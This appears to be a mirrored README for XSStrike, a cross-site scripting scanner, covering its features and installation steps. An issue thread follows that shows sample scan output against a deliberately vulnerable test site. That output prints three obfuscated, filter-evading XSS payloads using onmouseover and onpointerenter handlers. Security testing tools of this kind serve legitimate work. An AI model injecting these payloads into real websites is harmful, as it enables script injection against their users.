binfed/xsssoc

xss漏洞扫描

XSStrike

XSStrike is an advanced XSS detection suite. It has a powerful fuzzing engine and provides zero false positive result using fuzzy matching. XSStrike is the first XSS scanner to generate its own payloads. It is intelligent enough to detect and break out of various contexts.

Made with by Somdev Sangwan

Features

• Powerful fuzzing engine
• Context breaking technology
• Intelligent payload generation
• GET & POST method support
• Cookie Support
• WAF Fingerprinting
• Hand crafted payloads for filter and WAF evasion
• Hidden parameter discovery
• Accurate results via levenshtein distance algorithm

To know more visit xsstrike.tk

Installation

XSStrike is compatible with all *nix based operating systems running Python 2.7. Why not windows? My life, my rules. My code, my tools. Just kidding, it will run on windows as well but you will see some weird codes instead of color. First of all clone the repo by entering the following command in terminal

git clone https://github.com/UltimateHackers/XSStrike

Now naviagte to XSStrike directory

cd XSStrike

Now install the requirements with the following command

pip install -r requirements.txt

Now you can run XSStrike

python xsstrike

Screenshots

Contribution, License & Sponsorship

This work is licensed under a Creative Commons Attribution 4.0 International License.
Want to contribute? What are you waiting for? Fork it and hit up with a pull request.

Want to sponsor? Mail me at [email protected]

xsssoc's Issues

Stop scan after first successful payload

It'd would be useful to add an option to stop the scanner after the first successful payload. For example:

$ xsstrike -u 'http://testphp.vulnweb.com/search.php' --data 'goButton=go&searchFor=test'

	XSStrike v3.1.5

[~] Checking for DOM vulnerabilities 
[+] WAF Status: Offline 
[!] Testing parameter: goButton 
[-] No reflection found 
[!] Testing parameter: searchFor 
[!] Reflections found: 1 
[~] Analysing reflections 
[~] Generating payloads 
[!] Payloads generated: 3072 
------------------------------------------------------------
[+] Payload: <htmL/+/OnMouSeover%0a=%0aa=prompt,a()> 
[!] Efficiency: 91 
[!] Confidence: 10 
------------------------------------------------------------
[+] Payload: <d3v%0aOnPoiNtereNter+=+confirm()%0dx>v3dm0s 
[!] Efficiency: 92 
[!] Confidence: 10 
------------------------------------------------------------
[+] Payload: <a%0donpointEReNTer%09=%09confirm()%0dx>v3dm0s 
[!] Efficiency: 91 
[!] Confidence: 10 
[~] Progress: 5/3072

I would like to stop after the first successful payload <htmL/+/OnMouSeover%0a=%0aa=prompt,a()> and avoid going through all 3072 generated payloads.